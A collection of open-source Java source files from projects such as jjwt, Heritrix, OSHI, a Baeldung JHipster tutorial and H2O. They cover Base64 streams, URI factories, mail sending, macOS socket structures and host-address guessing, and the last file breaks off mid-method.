/* * Copyright © 2023 jsonwebtoken.io * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.jsonwebtoken.impl.io; import java.io.InputStream; /** * Provides Base64 encoding and decoding in a streaming fashion (unlimited size). When encoding the default lineLength * is 76 characters and the default lineEnding is CRLF, but these can be overridden by using the appropriate * constructor. * <p> * The default behavior of the Base64InputStream is to DECODE, whereas the default behavior of the Base64OutputStream * is to ENCODE, but this behavior can be overridden by using a different constructor. * </p> * <p> * This class implements section <cite>6.8. Base64 Content-Transfer-Encoding</cite> from RFC 2045 <cite>Multipurpose * Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies</cite> by Freed and Borenstein. * </p> * <p> * Since this class operates directly on byte streams, and not character streams, it is hard-coded to only encode/decode * character encodings which are compatible with the lower 127 ASCII chart (ISO-8859-1, Windows-1252, UTF-8, etc). * </p> * <p> * You can set the decoding behavior when the input bytes contain leftover trailing bits that cannot be created by a * valid encoding. These can be bits that are unused from the final character or entire characters. The default mode is * lenient decoding. * </p> * <ul> * <li>Lenient: Any trailing bits are composed into 8-bit bytes where possible. The remainder are discarded. * <li>Strict: The decoding will raise an {@link IllegalArgumentException} if trailing bits are not part of a valid * encoding. Any unused bits from the final character must be zero. Impossible counts of entire final characters are not * allowed. * </ul> * <p> * When strict decoding is enabled it is expected that the decoded bytes will be re-encoded to a byte array that matches * the original, i.e. no changes occur on the final character. This requires that the input bytes use the same padding * and alphabet as the encoder. * </p> * * @see <a href="http://www.ietf.org/rfc/rfc2045.txt">RFC 2045</a> * @since 0.12.0, copied from * <a href="https://github.com/apache/commons-codec/tree/585497f09b026f6602daf986723a554e051bdfe6">commons-codec * 585497f09b026f6602daf986723a554e051bdfe6</a> */ public class Base64InputStream extends BaseNCodecInputStream { /** * Creates a Base64InputStream such that all data read is Base64-decoded from the original provided InputStream. * * @param inputStream InputStream to wrap. */ public Base64InputStream(final InputStream inputStream) { this(inputStream, false); } /** * Creates a Base64InputStream such that all data read is either Base64-encoded or Base64-decoded from the original * provided InputStream. * * @param inputStream InputStream to wrap. * @param doEncode true if we should encode all data read from us, false if we should decode. */ Base64InputStream(final InputStream inputStream, final boolean doEncode) { super(inputStream, new Base64Codec(0, BaseNCodec.CHUNK_SEPARATOR, false, CodecPolicy.STRICT), doEncode); } // /** // * Creates a Base64InputStream such that all data read is either Base64-encoded or Base64-decoded from the original // * provided InputStream. // * // * @param inputStream InputStream to wrap. // * @param doEncode true if we should encode all data read from us, false if we should decode. // * @param lineLength If doEncode is true, each line of encoded data will contain lineLength characters (rounded down to // * the nearest multiple of 4). If lineLength &lt;= 0, the encoded data is not divided into lines. If // * doEncode is false, lineLength is ignored. // * @param lineSeparator If doEncode is true, each line of encoded data will be terminated with this byte sequence (e.g. \r\n). // * If lineLength &lt;= 0, the lineSeparator is not used. If doEncode is false lineSeparator is ignored. // */ // Base64InputStream(final InputStream inputStream, final boolean doEncode, final int lineLength, final byte[] lineSeparator) { // super(inputStream, new Base64Codec(lineLength, lineSeparator), doEncode); // } // // /** // * Creates a Base64InputStream such that all data read is either Base64-encoded or Base64-decoded from the original // * provided InputStream. // * // * @param inputStream InputStream to wrap. // * @param doEncode true if we should encode all data read from us, false if we should decode. // * @param lineLength If doEncode is true, each line of encoded data will contain lineLength characters (rounded down to // * the nearest multiple of 4). If lineLength &lt;= 0, the encoded data is not divided into lines. If // * doEncode is false, lineLength is ignored. // * @param lineSeparator If doEncode is true, each line of encoded data will be terminated with this byte sequence (e.g. \r\n). // * If lineLength &lt;= 0, the lineSeparator is not used. If doEncode is false lineSeparator is ignored. // * @param decodingPolicy The decoding policy. // * @since 1.15 // */ // Base64InputStream(final InputStream inputStream, final boolean doEncode, final int lineLength, final byte[] lineSeparator, // final CodecPolicy decodingPolicy) { // super(inputStream, new Base64Codec(lineLength, lineSeparator, false, decodingPolicy), doEncode); // } }
jwtk/jjwt
impl/src/main/java/io/jsonwebtoken/impl/io/Base64InputStream.java
41,090
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.spring; import java.io.Reader; import java.io.StringReader; import org.archive.io.ReadSource; /** * A configuration string that provides its own reader via the ReadSource * interface, for convenient use in spring configuration where any of an * inline string, path to local file (ConfigPath), or any other * readable-text-source would all be equally welcome. * * @author gojomo */ public class ConfigString implements ReadSource { protected String value; public String getValue() { return value; } public void setValue(String value) { this.value = value; } public Reader obtainReader() { return new StringReader(value); } public ConfigString() { } public ConfigString(String value) { setValue(value); } }
internetarchive/heritrix3
commons/src/main/java/org/archive/spring/ConfigString.java
41,091
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.util; import java.io.File; import java.io.IOException; import java.io.UncheckedIOException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Arrays; import java.util.List; /** * Wrapper for "keytool" utility main class. Loads class dynamically, trying * both the old java and new class names. * @see <a href="http://kris-sigur.blogspot.com/2014/10/heritrix-java-8-and-sunsecuritytoolskey.html">http://kris-sigur.blogspot.com/2014/10/heritrix-java-8-and-sunsecuritytoolskey.html</a> */ public class KeyTool { public static void main(String[] args) { try { Class<?> cl; try { // java 6 and 7 cl = ClassLoader.getSystemClassLoader().loadClass("sun.security.tools.KeyTool"); } catch (ClassNotFoundException e) { // java 8 cl = ClassLoader.getSystemClassLoader().loadClass("sun.security.tools.keytool.Main"); } Method main = cl.getMethod("main", String[].class); main.invoke(null, (Object) args); } catch (IllegalAccessException e) { // java 16 List<String> command = new ArrayList<>(); command.add(System.getProperty("java.home") + File.separator + "bin" + File.separator + "keytool"); command.addAll(Arrays.asList(args)); try { new ProcessBuilder(command).inheritIO().start().waitFor(); } catch (IOException e2) { throw new UncheckedIOException(e2); } catch (InterruptedException e2) { Thread.currentThread().interrupt(); } } catch (Exception e) { if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new RuntimeException(e); } } } }
internetarchive/heritrix3
commons/src/main/java/org/archive/util/KeyTool.java
41,092
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.net; import org.apache.commons.httpclient.URIException; import org.archive.url.UsableURI; import org.archive.url.UsableURIFactory; /** * Factory that returns UURIs. Mostly wraps {@link UsableURIFactory}. * */ public class UURIFactory extends UsableURIFactory { private static final long serialVersionUID = -7969477276065915936L; /** * The single instance of this factory. */ private static final UURIFactory factory = new UURIFactory(); /** * @param uri URI as string. * @return An instance of UURI * @throws URIException */ public static UURI getInstance(String uri) throws URIException { return (UURI) UURIFactory.factory.create(uri); } /** * @param base Base uri to use resolving passed relative uri. * @param relative URI as string. * @return An instance of UURI * @throws URIException */ public static UURI getInstance(UURI base, String relative) throws URIException { return (UURI) UURIFactory.factory.create(base, relative); } @Override protected UURI makeOne(String fixedUpUri, boolean escaped, String charset) throws URIException { return new UURI(fixedUpUri, escaped, charset); } @Override protected UsableURI makeOne(UsableURI base, UsableURI relative) throws URIException { // return new UURI(base, relative); return new UURI(base, relative); } }
internetarchive/heritrix3
commons/src/main/java/org/archive/net/UURIFactory.java
41,093
package com.baeldung.jhipster8.service; import com.baeldung.jhipster8.domain.User; import jakarta.mail.MessagingException; import jakarta.mail.internet.MimeMessage; import java.nio.charset.StandardCharsets; import java.util.Locale; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.context.MessageSource; import org.springframework.mail.MailException; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.scheduling.annotation.Async; import org.springframework.stereotype.Service; import org.thymeleaf.context.Context; import org.thymeleaf.spring6.SpringTemplateEngine; import tech.jhipster.config.JHipsterProperties; /** * Service for sending emails asynchronously. * <p> * We use the {@link Async} annotation to send emails asynchronously. */ @Service public class MailService { private final Logger log = LoggerFactory.getLogger(MailService.class); private static final String USER = "user"; private static final String BASE_URL = "baseUrl"; private final JHipsterProperties jHipsterProperties; private final JavaMailSender javaMailSender; private final MessageSource messageSource; private final SpringTemplateEngine templateEngine; public MailService( JHipsterProperties jHipsterProperties, JavaMailSender javaMailSender, MessageSource messageSource, SpringTemplateEngine templateEngine ) { this.jHipsterProperties = jHipsterProperties; this.javaMailSender = javaMailSender; this.messageSource = messageSource; this.templateEngine = templateEngine; } @Async public void sendEmail(String to, String subject, String content, boolean isMultipart, boolean isHtml) { this.sendEmailSync(to, subject, content, isMultipart, isHtml); } private void sendEmailSync(String to, String subject, String content, boolean isMultipart, boolean isHtml) { log.debug( "Send email[multipart '{}' and html '{}'] to '{}' with subject '{}' and content={}", isMultipart, isHtml, to, subject, content ); // Prepare message using a Spring helper MimeMessage mimeMessage = javaMailSender.createMimeMessage(); try { MimeMessageHelper message = new MimeMessageHelper(mimeMessage, isMultipart, StandardCharsets.UTF_8.name()); message.setTo(to); message.setFrom(jHipsterProperties.getMail().getFrom()); message.setSubject(subject); message.setText(content, isHtml); javaMailSender.send(mimeMessage); log.debug("Sent email to User '{}'", to); } catch (MailException | MessagingException e) { log.warn("Email could not be sent to user '{}'", to, e); } } @Async public void sendEmailFromTemplate(User user, String templateName, String titleKey) { this.sendEmailFromTemplateSync(user, templateName, titleKey); } private void sendEmailFromTemplateSync(User user, String templateName, String titleKey) { if (user.getEmail() == null) { log.debug("Email doesn't exist for user '{}'", user.getLogin()); return; } Locale locale = Locale.forLanguageTag(user.getLangKey()); Context context = new Context(locale); context.setVariable(USER, user); context.setVariable(BASE_URL, jHipsterProperties.getMail().getBaseUrl()); String content = templateEngine.process(templateName, context); String subject = messageSource.getMessage(titleKey, null, locale); this.sendEmailSync(user.getEmail(), subject, content, false, true); } @Async public void sendActivationEmail(User user) { log.debug("Sending activation email to '{}'", user.getEmail()); this.sendEmailFromTemplateSync(user, "mail/activationEmail", "email.activation.title"); } @Async public void sendCreationEmail(User user) { log.debug("Sending creation email to '{}'", user.getEmail()); this.sendEmailFromTemplateSync(user, "mail/creationEmail", "email.activation.title"); } @Async public void sendPasswordResetMail(User user) { log.debug("Sending password reset email to '{}'", user.getEmail()); this.sendEmailFromTemplateSync(user, "mail/passwordResetEmail", "email.reset.title"); } }
eugenp/tutorials
jhipster-8-modules/jhipster-8-monolithic/src/main/java/com/baeldung/jhipster8/service/MailService.java
41,094
/* * Copyright 2016-2022 The OSHI Project Contributors * SPDX-License-Identifier: MIT */ package oshi.jna.platform.mac; import com.sun.jna.Native; import com.sun.jna.Structure; import com.sun.jna.Structure.FieldOrder; import com.sun.jna.Union; import oshi.jna.platform.unix.CLibrary; import oshi.util.Util; /** * System class. This class should be considered non-API as it may be removed if/when its code is incorporated into the * JNA project. */ public interface SystemB extends com.sun.jna.platform.mac.SystemB, CLibrary { SystemB INSTANCE = Native.load("System", SystemB.class); int PROC_PIDLISTFDS = 1; int PROX_FDTYPE_SOCKET = 2; int PROC_PIDFDSOCKETINFO = 3; int TSI_T_NTIMERS = 4; int SOCKINFO_IN = 1; int SOCKINFO_TCP = 2; int UTX_USERSIZE = 256; int UTX_LINESIZE = 32; int UTX_IDSIZE = 4; int UTX_HOSTSIZE = 256; int AF_INET = 2; // The Internet Protocol version 4 (IPv4) address family. int AF_INET6 = 30; // The Internet Protocol version 6 (IPv6) address family. /** * Mac connection info */ @FieldOrder({ "ut_user", "ut_id", "ut_line", "ut_pid", "ut_type", "ut_tv", "ut_host", "ut_pad" }) class MacUtmpx extends Structure { public byte[] ut_user = new byte[UTX_USERSIZE]; // login name public byte[] ut_id = new byte[UTX_IDSIZE]; // id public byte[] ut_line = new byte[UTX_LINESIZE]; // tty name public int ut_pid; // process id creating the entry public short ut_type; // type of this entry public Timeval ut_tv; // time entry was created public byte[] ut_host = new byte[UTX_HOSTSIZE]; // host name public byte[] ut_pad = new byte[16]; // reserved for future use } /** * Mac file descriptor info */ @FieldOrder({ "proc_fd", "proc_fdtype" }) class ProcFdInfo extends Structure { public int proc_fd; public int proc_fdtype; } /** * Mac internet socket info */ @FieldOrder({ "insi_fport", "insi_lport", "insi_gencnt", "insi_flags", "insi_flow", "insi_vflag", "insi_ip_ttl", "rfu_1", "insi_faddr", "insi_laddr", "insi_v4", "insi_v6" }) class InSockInfo extends Structure { public int insi_fport; /* foreign port */ public int insi_lport; /* local port */ public long insi_gencnt; /* generation count of this instance */ public int insi_flags; /* generic IP/datagram flags */ public int insi_flow; public byte insi_vflag; /* ini_IPV4 or ini_IPV6 */ public byte insi_ip_ttl; /* time to live proto */ public int rfu_1; /* reserved */ /* protocol dependent part, v4 only in last element */ public int[] insi_faddr = new int[4]; /* foreign host table entry */ public int[] insi_laddr = new int[4]; /* local host table entry */ public byte insi_v4; /* type of service */ public byte[] insi_v6 = new byte[9]; } /** * Mac TCP socket info */ @FieldOrder({ "tcpsi_ini", "tcpsi_state", "tcpsi_timer", "tcpsi_mss", "tcpsi_flags", "rfu_1", "tcpsi_tp" }) class TcpSockInfo extends Structure { public InSockInfo tcpsi_ini; public int tcpsi_state; public int[] tcpsi_timer = new int[TSI_T_NTIMERS]; public int tcpsi_mss; public int tcpsi_flags; public int rfu_1; /* reserved */ public long tcpsi_tp; /* opaque handle of TCP protocol control block */ } /** * Mack IP Socket Info */ @FieldOrder({ "soi_stat", "soi_so", "soi_pcb", "soi_type", "soi_protocol", "soi_family", "soi_options", "soi_linger", "soi_state", "soi_qlen", "soi_incqlen", "soi_qlimit", "soi_timeo", "soi_error", "soi_oobmark", "soi_rcv", "soi_snd", "soi_kind", "rfu_1", "soi_proto" }) class SocketInfo extends Structure { public long[] soi_stat = new long[17]; // vinfo_stat public long soi_so; /* opaque handle of socket */ public long soi_pcb; /* opaque handle of protocol control block */ public int soi_type; public int soi_protocol; public int soi_family; public short soi_options; public short soi_linger; public short soi_state; public short soi_qlen; public short soi_incqlen; public short soi_qlimit; public short soi_timeo; public short soi_error; public int soi_oobmark; public int[] soi_rcv = new int[6]; // sockbuf_info public int[] soi_snd = new int[6]; // sockbuf_info public int soi_kind; public int rfu_1; /* reserved */ public Pri soi_proto; } /** * Mac file info */ @FieldOrder({ "fi_openflags", "fi_status", "fi_offset", "fi_type", "fi_guardflags" }) class ProcFileInfo extends Structure { public int fi_openflags; public int fi_status; public long fi_offset; public int fi_type; public int fi_guardflags; } /** * Mac socket info */ @FieldOrder({ "pfi", "psi" }) class SocketFdInfo extends Structure implements AutoCloseable { public ProcFileInfo pfi; public SocketInfo psi; @Override public void close() { Util.freeMemory(getPointer()); } } /** * Union for TCP or internet socket info */ class Pri extends Union { public InSockInfo pri_in; public TcpSockInfo pri_tcp; // max element is 524 bytes public byte[] max_size = new byte[524]; } /** * Reads a line from the current file position in the utmp file. It returns a pointer to a structure containing the * fields of the line. * <p> * Not thread safe * * @return a {@link MacUtmpx} on success, and NULL on failure (which includes the "record not found" case) */ MacUtmpx getutxent(); int proc_pidfdinfo(int pid, int fd, int flavor, Structure buffer, int buffersize); }
oshi/oshi
oshi-core/src/main/java/oshi/jna/platform/mac/SystemB.java
41,095
/* * Copyright © 2023 jsonwebtoken.io * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.jsonwebtoken.impl.io; import java.io.OutputStream; /** * Provides Base64 encoding and decoding in a streaming fashion (unlimited size). When encoding the default lineLength * is 76 characters and the default lineEnding is CRLF, but these can be overridden by using the appropriate * constructor. * <p> * The default behavior of the Base64OutputStream is to ENCODE, whereas the default behavior of the Base64InputStream * is to DECODE. But this behavior can be overridden by using a different constructor. * </p> * <p> * This class implements section <cite>6.8. Base64 Content-Transfer-Encoding</cite> from RFC 2045 <cite>Multipurpose * Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies</cite> by Freed and Borenstein. * </p> * <p> * Since this class operates directly on byte streams, and not character streams, it is hard-coded to only encode/decode * character encodings which are compatible with the lower 127 ASCII chart (ISO-8859-1, Windows-1252, UTF-8, etc). * </p> * <p> * <b>Note:</b> It is mandatory to close the stream after the last byte has been written to it, otherwise the * final padding will be omitted and the resulting data will be incomplete/inconsistent. * </p> * <p> * You can set the decoding behavior when the input bytes contain leftover trailing bits that cannot be created by a * valid encoding. These can be bits that are unused from the final character or entire characters. The default mode is * lenient decoding. * </p> * <ul> * <li>Lenient: Any trailing bits are composed into 8-bit bytes where possible. The remainder are discarded. * <li>Strict: The decoding will raise an {@link IllegalArgumentException} if trailing bits are not part of a valid * encoding. Any unused bits from the final character must be zero. Impossible counts of entire final characters are not * allowed. * </ul> * <p> * When strict decoding is enabled it is expected that the decoded bytes will be re-encoded to a byte array that matches * the original, i.e. no changes occur on the final character. This requires that the input bytes use the same padding * and alphabet as the encoder. * </p> * * @see <a href="http://www.ietf.org/rfc/rfc2045.txt">RFC 2045</a> * @since 0.12.0, copied from * <a href="https://github.com/apache/commons-codec/tree/585497f09b026f6602daf986723a554e051bdfe6">commons-codec * 585497f09b026f6602daf986723a554e051bdfe6</a> */ class Base64OutputStream extends BaseNCodecOutputStream { /** * Creates a Base64OutputStream such that all data written is Base64-encoded to the original provided OutputStream. * * @param outputStream OutputStream to wrap. */ Base64OutputStream(final OutputStream outputStream) { this(outputStream, true, true); } /** * Creates a Base64OutputStream such that all data written is either Base64-encoded or Base64-decoded to the * original provided OutputStream. * * @param outputStream OutputStream to wrap. * @param doEncode true if we should encode all data written to us, false if we should decode. */ Base64OutputStream(final OutputStream outputStream, final boolean doEncode, boolean urlSafe) { super(outputStream, new Base64Codec(0, BaseNCodec.CHUNK_SEPARATOR, urlSafe), doEncode); } /** * Creates a Base64OutputStream such that all data written is either Base64-encoded or Base64-decoded to the * original provided OutputStream. * * @param outputStream OutputStream to wrap. * @param doEncode true if we should encode all data written to us, false if we should decode. * @param lineLength If doEncode is true, each line of encoded data will contain lineLength characters (rounded down to * the nearest multiple of 4). If lineLength &lt;= 0, the encoded data is not divided into lines. If * doEncode is false, lineLength is ignored. * @param lineSeparator If doEncode is true, each line of encoded data will be terminated with this byte sequence (e.g. \r\n). * If lineLength &lt;= 0, the lineSeparator is not used. If doEncode is false lineSeparator is ignored. */ Base64OutputStream(final OutputStream outputStream, final boolean doEncode, final int lineLength, final byte[] lineSeparator) { super(outputStream, new Base64Codec(lineLength, lineSeparator), doEncode); } /** * Creates a Base64OutputStream such that all data written is either Base64-encoded or Base64-decoded to the * original provided OutputStream. * * @param outputStream OutputStream to wrap. * @param doEncode true if we should encode all data written to us, false if we should decode. * @param lineLength If doEncode is true, each line of encoded data will contain lineLength characters (rounded down to * the nearest multiple of 4). If lineLength &lt;= 0, the encoded data is not divided into lines. If * doEncode is false, lineLength is ignored. * @param lineSeparator If doEncode is true, each line of encoded data will be terminated with this byte sequence (e.g. \r\n). * If lineLength &lt;= 0, the lineSeparator is not used. If doEncode is false lineSeparator is ignored. * @param decodingPolicy The decoding policy. * @since 1.15 */ Base64OutputStream(final OutputStream outputStream, final boolean doEncode, final int lineLength, final byte[] lineSeparator, final CodecPolicy decodingPolicy) { super(outputStream, new Base64Codec(lineLength, lineSeparator, false, decodingPolicy), doEncode); } }
jwtk/jjwt
impl/src/main/java/io/jsonwebtoken/impl/io/Base64OutputStream.java
41,096
package water.init; import water.util.Log; import water.util.NetworkUtils; import water.util.OSUtils; import water.util.StringUtils; import java.net.*; import java.util.*; import java.util.regex.Matcher; import java.util.regex.Pattern; public class HostnameGuesser { /** * Finds InetAddress for a specified IP, guesses the address if parameter is not specified * (uses network as a hint if provided). * * @param ip ip address (optional) * @param network network (optional) * @return inet address for this node. */ public static InetAddress findInetAddressForSelf(String ip, String network) throws Error { if ((ip != null) && (network != null)) { throw new HostnameGuessingException("ip and network options must not be used together"); } ArrayList<CIDRBlock> networkList = calcArrayList(network); // Get a list of all valid IPs on this machine. ArrayList<InetAddress> ias = calcPrioritizedInetAddressList(); InetAddress local; // My final choice // Check for an "-ip xxxx" option and accept a valid user choice; required // if there are multiple valid IP addresses. if (ip != null) { local = getInetAddress(ip, ias); } else if (networkList.size() > 0) { // Return the first match from the list, if any. // If there are no matches, then exit. Log.info("Network list was specified by the user. Searching for a match..."); for( InetAddress ia : ias ) { Log.info(" Considering " + ia.getHostAddress() + " ..."); for (CIDRBlock n : networkList) { if (n.isInetAddressOnNetwork(ia)) { Log.info(" Matched " + ia.getHostAddress()); return ia; } } } throw new HostnameGuessingException("No interface matches the network list from the -network option. Exiting."); } else { // No user-specified IP address. Attempt auto-discovery. Roll through // all the network choices on looking for a single non-local address. // Right now the loop up order is: site local address > link local address > fallback loopback ArrayList<InetAddress> globalIps = new ArrayList<>(); ArrayList<InetAddress> siteLocalIps = new ArrayList<>(); ArrayList<InetAddress> linkLocalIps = new ArrayList<>(); boolean isIPv6Preferred = NetworkUtils.isIPv6Preferred(); boolean isIPv4Preferred = NetworkUtils.isIPv4Preferred(); for( InetAddress ia : ias ) { // Make sure the given IP address can be found here if(!(ia.isLoopbackAddress() || ia.isAnyLocalAddress())) { // Always prefer IPv4 if (isIPv6Preferred && !isIPv4Preferred && ia instanceof Inet4Address) continue; if (isIPv4Preferred && ia instanceof Inet6Address) continue; if (ia.isSiteLocalAddress()) siteLocalIps.add(ia); if (ia.isLinkLocalAddress()) linkLocalIps.add(ia); globalIps.add(ia); } } // The ips were already sorted in priority based way, so use it // There is only a single global or site local address, use it if (globalIps.size() == 1) { local = globalIps.get(0); } else if (siteLocalIps.size() == 1) { local = siteLocalIps.get(0); } else if (linkLocalIps.size() > 0) { // Always use link local address on IPv6 local = linkLocalIps.get(0); } else { local = guessInetAddress(siteLocalIps); } } // The above fails with no network connection, in that case go for a truly // local host. if( local == null ) { try { Log.warn("Failed to determine IP, falling back to localhost."); // set default ip address to be 127.0.0.1 /localhost local = NetworkUtils.isIPv6Preferred() && ! NetworkUtils.isIPv4Preferred() ? InetAddress.getByName("::1") // IPv6 localhost : InetAddress.getByName("127.0.0.1"); } catch (UnknownHostException e) { Log.throwErr(e); } } return local; } /** * Return a list of interfaces sorted by importance (most important first). * This is the order we want to test for matches when selecting an interface. */ private static ArrayList<NetworkInterface> calcPrioritizedInterfaceList() { ArrayList<NetworkInterface> networkInterfaceList = null; try { Enumeration<NetworkInterface> nis = NetworkInterface.getNetworkInterfaces(); ArrayList<NetworkInterface> tmpList = Collections.list(nis); Comparator<NetworkInterface> c = new Comparator<NetworkInterface>() { @Override public int compare(NetworkInterface lhs, NetworkInterface rhs) { // Handle null inputs. if ((lhs == null) && (rhs == null)) { return 0; } if (lhs == null) { return 1; } if (rhs == null) { return -1; } // If the names are equal, then they are equal. if (lhs.getName().equals (rhs.getName())) { return 0; } // If both are bond drivers, choose a precedence. if (lhs.getName().startsWith("bond") && (rhs.getName().startsWith("bond"))) { Integer li = lhs.getName().length(); Integer ri = rhs.getName().length(); // Bond with most number of characters is always highest priority. if (li.compareTo(ri) != 0) { return li.compareTo(ri); } // Otherwise, sort lexicographically by name. return lhs.getName().compareTo(rhs.getName()); } // If only one is a bond driver, give that precedence. if (lhs.getName().startsWith("bond")) { return -1; } if (rhs.getName().startsWith("bond")) { return 1; } // Everything that isn't a bond driver is equal. return 0; } }; Collections.sort(tmpList, c); networkInterfaceList = tmpList; } catch( SocketException e ) { Log.err(e); } return networkInterfaceList; } /** * Return a list of internet addresses sorted by importance (most important first). * This is the order we want to test for matches when selecting an internet address. */ private static ArrayList<java.net.InetAddress> calcPrioritizedInetAddressList() { ArrayList<java.net.InetAddress> ips = new ArrayList<>(); ArrayList<NetworkInterface> networkInterfaceList = calcPrioritizedInterfaceList(); boolean isWindows = OSUtils.isWindows(); boolean isWsl = OSUtils.isWsl(); int localIpTimeout = NetworkUtils.getLocalIpPingTimeout(); for (NetworkInterface nIface : networkInterfaceList) { Enumeration<InetAddress> ias = nIface.getInetAddresses(); if (NetworkUtils.isUp(nIface)) { while (ias.hasMoreElements()) { InetAddress ia = ias.nextElement(); // Windows specific code, since isReachable was not able to detect live IPs on Windows8.1 machines if (isWindows || isWsl || NetworkUtils.isReachable(null, ia, localIpTimeout /* ms */)) { ips.add(ia); Log.info("Possible IP Address: ", nIface.getName(), " (", nIface.getDisplayName(), "), ", ia.getHostAddress()); } else { Log.info("Network address/interface is not reachable in 150ms: ", ia, "/", nIface); } } } else { Log.info("Network interface is down: ", nIface); } } return ips; } private static InetAddress guessInetAddress(List<InetAddress> ips) { String m = "Multiple local IPs detected:\n"; for(InetAddress ip : ips) m+=" " + ip; m += "\nAttempting to determine correct address...\n"; Socket s = null; try { // using google's DNS server as an external IP to find s = NetworkUtils.isIPv6Preferred() && !NetworkUtils.isIPv4Preferred() ? new Socket(InetAddress.getByAddress(NetworkUtils.GOOGLE_DNS_IPV6), 53) : new Socket(InetAddress.getByAddress(NetworkUtils.GOOGLE_DNS_IPV4), 53); m += "Using " + s.getLocalAddress() + "\n"; return s.getLocalAddress(); } catch( java.net.SocketException se ) { return null; // No network at all? (Laptop w/wifi turned off?) } catch( Throwable t ) { Log.err(t); return null; } finally { Log.warn(m); if( s != null ) try { s.close(); } catch( java.io.IOException ie ) { } } } /** * Get address for given IP. * @param ip textual representation of IP (host) * @param allowedIps range of allowed IPs on this machine * @return IPv4 or IPv6 address which matches given IP and is in specified range */ private static InetAddress getInetAddress(String ip, List<InetAddress> allowedIps) { InetAddress addr = null; if (ip != null) { try { addr = InetAddress.getByName(ip); } catch (UnknownHostException e) { throw new HostnameGuessingException(e); } if (allowedIps != null) { if (!allowedIps.contains(addr)) { throw new HostnameGuessingException("IP address not found on this machine"); } } } return addr; } /** * Parses specification of subnets and returns their CIDRBlock representation. * @param networkOpt comma separated list of subnets * @return a list of subnets, possibly empty. Never returns null. * @throws HostnameGuessingException if one of the subnet specification is invalid (it cannot be parsed) */ static ArrayList<CIDRBlock> calcArrayList(String networkOpt) throws HostnameGuessingException { ArrayList<CIDRBlock> networkList = new ArrayList<>(); if (networkOpt == null) { return networkList; } String[] networks = networkOpt.split(","); for (String n : networks) { CIDRBlock usn = CIDRBlock.parse(n); if (usn == null || !usn.valid()) { Log.err("Network invalid: " + n); throw new HostnameGuessingException("Invalid subnet specification: " + n + " (full '-network' argument: " + networkOpt + ")."); } networkList.add(usn); } return networkList; } /** Representation of a single CIDR block (subnet). */ public static class CIDRBlock { /** Patterns to recognize IPv4 CIDR selector (network routing prefix */ private static Pattern NETWORK_IPV4_CIDR_PATTERN = Pattern.compile("(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)/(\\d+)"); /** Patterns to recognize IPv6 CIDR selector (network routing prefix * Warning: the pattern recognize full IPv6 specification and does not support short specification via :: replacing block of 0s. * * From wikipedia: An IPv6 address is represented as eight groups of four hexadecimal digits * https://en.wikipedia.org/wiki/IPv6_address#Presentation */ private static Pattern NETWORK_IPV6_CIDR_PATTERN = Pattern.compile("([a-fA-F\\d]+):([a-fA-F\\d]+):([a-fA-F\\d]+):([a-fA-F\\d]+):([a-fA-F\\d]+):([a-fA-F\\d]+):([a-fA-F\\d]+):([a-fA-F\\d]+)/(\\d+)"); final int[] ip; final int bits; public static CIDRBlock parse(String cidrBlock) { boolean isIPV4 = cidrBlock.contains("."); Matcher m = isIPV4 ? NETWORK_IPV4_CIDR_PATTERN.matcher(cidrBlock) : NETWORK_IPV6_CIDR_PATTERN.matcher(cidrBlock); boolean b = m.matches(); if (!b) { return null; } assert (isIPV4 && m.groupCount() == 5 || m.groupCount() == 9); int len = isIPV4 ? 4 : 8; int[] ipBytes = new int[len]; for(int i = 0; i < len; i++) { ipBytes[i] = isIPV4 ? Integer.parseInt(m.group(i + 1)) : Integer.parseInt(m.group(i + 1), 16); } // Active bits in CIDR specification int bits = Integer.parseInt(m.group(len + 1)); CIDRBlock usn = isIPV4 ? CIDRBlock.createIPv4(ipBytes, bits) : CIDRBlock.createIPv6(ipBytes, bits); return usn.valid() ? usn : null; } public static CIDRBlock createIPv4(int[] ip, int bits) { assert ip.length == 4; return new CIDRBlock(ip, bits); } public static CIDRBlock createIPv6(int[] ip, int bits) { assert ip.length == 8; // Expand 8 